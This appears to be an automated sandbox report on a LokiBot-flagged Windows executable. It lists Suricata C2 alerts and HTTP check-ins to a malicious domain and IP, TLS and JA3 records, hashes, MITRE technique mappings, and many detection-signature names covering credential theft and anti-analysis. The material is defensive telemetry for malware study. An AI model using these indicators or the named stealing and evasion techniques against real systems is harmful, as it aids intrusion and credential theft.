2020-06-30 13:51:21.179 192.168.1.8 [VT] 49195 185.207.38.108 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-06-30 13:51:31.403 192.168.1.8 [VT] 49196 185.207.38.108 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-06-30 13:51:31.403 192.168.1.8 [VT] 49196 185.207.38.108 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-06-30 13:51:46.174 192.168.1.8 [VT] 49196 185.207.38.108 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-06-30 13:51:46.174 192.168.1.8 [VT] 49196 185.207.38.108 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-06-30 13:51:56.434 192.168.1.8 [VT] 49197 185.207.38.108 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-06-30 13:51:56.434 192.168.1.8 [VT] 49197 185.207.38.108 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-06-30 13:52:11.238 192.168.1.8 [VT] 49197 185.207.38.108 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-06-30 13:52:11.238 192.168.1.8 [VT] 49197 185.207.38.108 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-06-30 13:52:21.496 192.168.1.8 [VT] 49198 185.207.38.108 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-06-30 13:52:21.496 192.168.1.8 [VT] 49198 185.207.38.108 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-06-30 13:52:36.167 192.168.1.8 [VT] 49198 185.207.38.108 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-06-30 13:52:36.167 192.168.1.8 [VT] 49198 185.207.38.108 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1

Suricata TLS

Timestamp Source IP Source Port Destination IP Destination Port Subject Issuer Fingerprint Version
2020-06-30 13:48:58.815 192.168.1.8 [VT] 49172 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-06-30 13:48:58.916 192.168.1.8 [VT] 49173 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-06-30 13:48:58.934 192.168.1.8 [VT] 49174 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-06-30 13:48:59.027 192.168.1.8 [VT] 49176 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-06-30 13:48:59.077 192.168.1.8 [VT] 49175 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-06-30 13:50:22.090 192.168.1.8 [VT] 49189 52.114.128.43 [VT] 443 CN=*.events.data.microsoft.com 1a:c2:39:ff:84:fe:1a:c9:81:f5:45:9a:d0:a0:f2:66:d1:8c:38:c9 TLS 1.2

Suricata HTTP

Timestamp Source IP Source Port Destination IP Destination Port Method Status Hostname URI Content Type User Agent Referrer Length
2020-06-30 13:50:38.905 192.168.1.8 [VT] 49191 67.27.153.254 [VT] 80 200 ctldl.windowsupdate.com [VT] /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?0d23747eb5b0cb5e application/vnd.ms-cab-compressed Microsoft-CryptoAPI/6.1 None 6894
2020-06-30 13:50:40.227 192.168.1.8 [VT] 49190 185.207.38.108 [VT] 80 503 admindepartment.ir [VT] /kenlaw/five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 718
2020-06-30 13:50:45.691 192.168.1.8 [VT] 49193 93.184.220.29 [VT] 80 200 ocsp.digicert.com [VT] /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D application/ocsp-response Microsoft-CryptoAPI/6.1 None 1507
2020-06-30 13:51:00.194 192.168.1.8 [VT] 49194 185.207.38.108 [VT] 80 503 admindepartment.ir [VT] /kenlaw/five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 718
2020-06-30 13:51:21.179 192.168.1.8 [VT] 49195 185.207.38.108 [VT] 80 503 admindepartment.ir [VT] /kenlaw/five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 718
2020-06-30 13:51:46.174 192.168.1.8 [VT] 49196 185.207.38.108 [VT] 80 503 admindepartment.ir [VT] /kenlaw/five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 718
2020-06-30 13:52:11.238 192.168.1.8 [VT] 49197 185.207.38.108 [VT] 80 503 admindepartment.ir [VT] /kenlaw/five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 718
2020-06-30 13:52:36.167 192.168.1.8 [VT] 49198 185.207.38.108 [VT] 80 503 admindepartment.ir [VT] /kenlaw/five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 718
Sorry! No dropped Suricata Extracted files.

JA3

Source Source Port Destination Destination Port JA3 Hash JA3 Description
192.168.1.8 49172 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.8 49173 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.8 49174 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.8 49175 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.8 49176 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.8 49189 52.114.128.43 443 d124ae14809abde3528a479fe01a12bd unknown
Sorry! No dropped files.
Sorry! No CAPE files.
Process Name MjPYKNO80AdS.exe
PID 3452
Dump Size 612864 bytes
Module Path C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.exe
Type PE image: 32-bit executable
PE timestamp 1992-06-19 22:22:17
MD5 72c31325cd2de560991e7e974068c71d
SHA1 9646b278bcc5c850e91f019fb6c5ca61afc909af
SHA256 c49c3cd5f22f5a75be725034948a2de45b8e0bebfb62d9d1f6a600b791ed0964
CRC32 43C7FF90
Ssdeep 12288:SCbpcLhilrm7G8oclWEAroCo3DQVT2tYpAK15BF2RggO/l:1uLhi80JrogcYpN15WSgO
Dump Filename c49c3cd5f22f5a75be725034948a2de45b8e0bebfb62d9d1f6a600b791ed0964
Download Download Zip

BinGraph Download graph

JSON Report Download
Defense Evasion Credential Access Collection Privilege Escalation
  • T1116 - Code Signing
    • Signature - invalid_authenticode_signature
  • T1055 - Process Injection
    • Signature - InjectionInterProcess
  • T1045 - Software Packing
    • Signature - packer_unknown_pe_section_name
  • T1003 - Credential Dumping
    • Signature - infostealer_browser
  • T1081 - Credentials in Files
    • Signature - infostealer_browser
  • T1005 - Data from Local System
    • Signature - infostealer_browser
  • T1055 - Process Injection
    • Signature - InjectionInterProcess

    Processing ( 19.29 seconds )

    • 8.168 BehaviorAnalysis
    • 5.288 Suricata
    • 3.239 NetworkAnalysis
    • 1.777 Static
    • 0.309 CAPE
    • 0.21 VirusTotal
    • 0.086 TargetInfo
    • 0.07 AnalysisInfo
    • 0.054 ProcDump
    • 0.049 Deduplicate
    • 0.018 Strings
    • 0.014 peid
    • 0.005 Debug
    • 0.003 Dropped

    Signatures ( 1.1659999999999981 seconds )

    • 0.135 antiav_detectfile
    • 0.131 antiav_detectreg
    • 0.078 antianalysis_detectfile
    • 0.064 masquerade_process_name
    • 0.04 infostealer_ftp
    • 0.032 territorial_disputes_sigs
    • 0.028 antivm_vbox_libs
    • 0.027 infostealer_bitcoin
    • 0.026 antianalysis_detectreg
    • 0.025 api_spamming
    • 0.025 decoy_document
    • 0.022 exec_crash
    • 0.022 infostealer_im
    • 0.021 NewtWire Behavior
    • 0.02 ransomware_files
    • 0.019 antivm_vbox_files
    • 0.015 network_tor
    • 0.014 Doppelganging
    • 0.012 betabot_behavior
    • 0.012 stealth_timeout
    • 0.012 predatorthethief_files
    • 0.012 qulab_files
    • 0.011 antiav_avast_libs
    • 0.011 kibex_behavior
    • 0.011 infostealer_mail
    • 0.011 ransomware_extensions
    • 0.01 injection_createremotethread
    • 0.01 kazybot_behavior
    • 0.009 InjectionCreateRemoteThread
    • 0.009 hawkeye_behavior
    • 0.009 shifu_behavior
    • 0.008 antivm_vbox_keys
    • 0.007 exploit_getbasekerneladdress
    • 0.007 exploit_gethaldispatchtable
    • 0.007 antidbg_devices
    • 0.007 antivm_vmware_files
    • 0.007 geodo_banking_trojan
    • 0.006 antidebug_guardpages
    • 0.006 antisandbox_sunbelt_libs
    • 0.006 antivm_generic_disk
    • 0.006 injection_runpe
    • 0.005 InjectionInterProcess
    • 0.005 InjectionProcessHollowing
    • 0.005 antiav_bitdefender_libs
    • 0.005 antiav_bullgaurd_libs
    • 0.005 antiav_emsisoft_libs
    • 0.005 antiav_qurb_libs
    • 0.005 antiav_apioverride_libs
    • 0.005 antiav_nthookengine_libs
    • 0.005 antisandbox_sboxie_libs
    • 0.005 antivm_vmware_libs
    • 0.005 exploit_heapspray
    • 0.005 malicious_dynamic_function_loading
    • 0.005 mimics_filetime
    • 0.005 persistence_autorun
    • 0.005 antivm_vmware_keys
    • 0.004 dynamic_function_loading
    • 0.004 office_com_load
    • 0.004 reads_self
    • 0.004 stealth_file
    • 0.004 virus
    • 0.004 antivm_parallels_keys
    • 0.004 antivm_xen_keys
    • 0.004 masslogger_files
    • 0.003 bootkit
    • 0.003 regsvr32_squiblydoo_dll_load
    • 0.003 encrypted_ioc
    • 0.003 infostealer_browser
    • 0.003 stack_pivot
    • 0.003 antivm_vbox_devices
    • 0.003 codelux_behavior
    • 0.003 network_cnc_http
    • 0.003 network_dns_opennic
    • 0.003 network_torgateway
    • 0.003 dcrat_files
    • 0.003 obliquerat_files
    • 0.003 rat_pcclient
    • 0.003 sniffer_winpcap
    • 0.003 targeted_flame
    • 0.002 antiemu_wine_func
    • 0.002 dridex_behavior
    • 0.002 hancitor_behavior
    • 0.002 kovter_behavior
    • 0.002 network_anomaly
    • 0.002 office_dotnet_load
    • 0.002 office_vb_load
    • 0.002 office_wmi_load
    • 0.002 tinba_behavior
    • 0.002 antivm_generic_diskreg
    • 0.002 antivm_vpc_keys
    • 0.002 revil_mutexes
    • 0.002 warzonerat_files
    • 0.002 remcos_files
    • 0.001 InjectionSetWindowLong
    • 0.001 antidbg_windows
    • 0.001 antivm_generic_scsi
    • 0.001 cerber_behavior
    • 0.001 guloader_apis
    • 0.001 h1n1_behavior
    • 0.001 infostealer_browser_password
    • 0.001 injection_explorer
    • 0.001 rat_nanocore
    • 0.001 antisandbox_cuckoo_files
    • 0.001 antisandbox_fortinet_files
    • 0.001 antisandbox_joe_anubis_files
    • 0.001 antisandbox_sunbelt_files
    • 0.001 antisandbox_threattrack_files
    • 0.001 antivm_xen_keys
    • 0.001 antivm_hyperv_keys
    • 0.001 antivm_vpc_files
    • 0.001 ketrican_regkeys
    • 0.001 banker_cridex
    • 0.001 browser_security
    • 0.001 bypass_firewall
    • 0.001 darkcomet_regkeys
    • 0.001 disables_browser_warn
    • 0.001 azorult_mutexes
    • 0.001 network_http
    • 0.001 network_tor_service
    • 0.001 origin_resource_langid
    • 0.001 medusalocker_regkeys
    • 0.001 limerat_regkeys
    • 0.001 modirat_bheavior
    • 0.001 warzonerat_regkeys
    • 0.001 recon_checkip
    • 0.001 recon_fingerprint
    • 0.001 remcos_regkeys
    • 0.001 spreading_autoruninf
    • 0.001 tampers_etw

    Reporting ( 12.57 seconds )

    • 9.105 BinGraph
    • 3.387 JsonDump
    • 0.055 MITRE_TTPS
    • 0.023 PCAP2CERT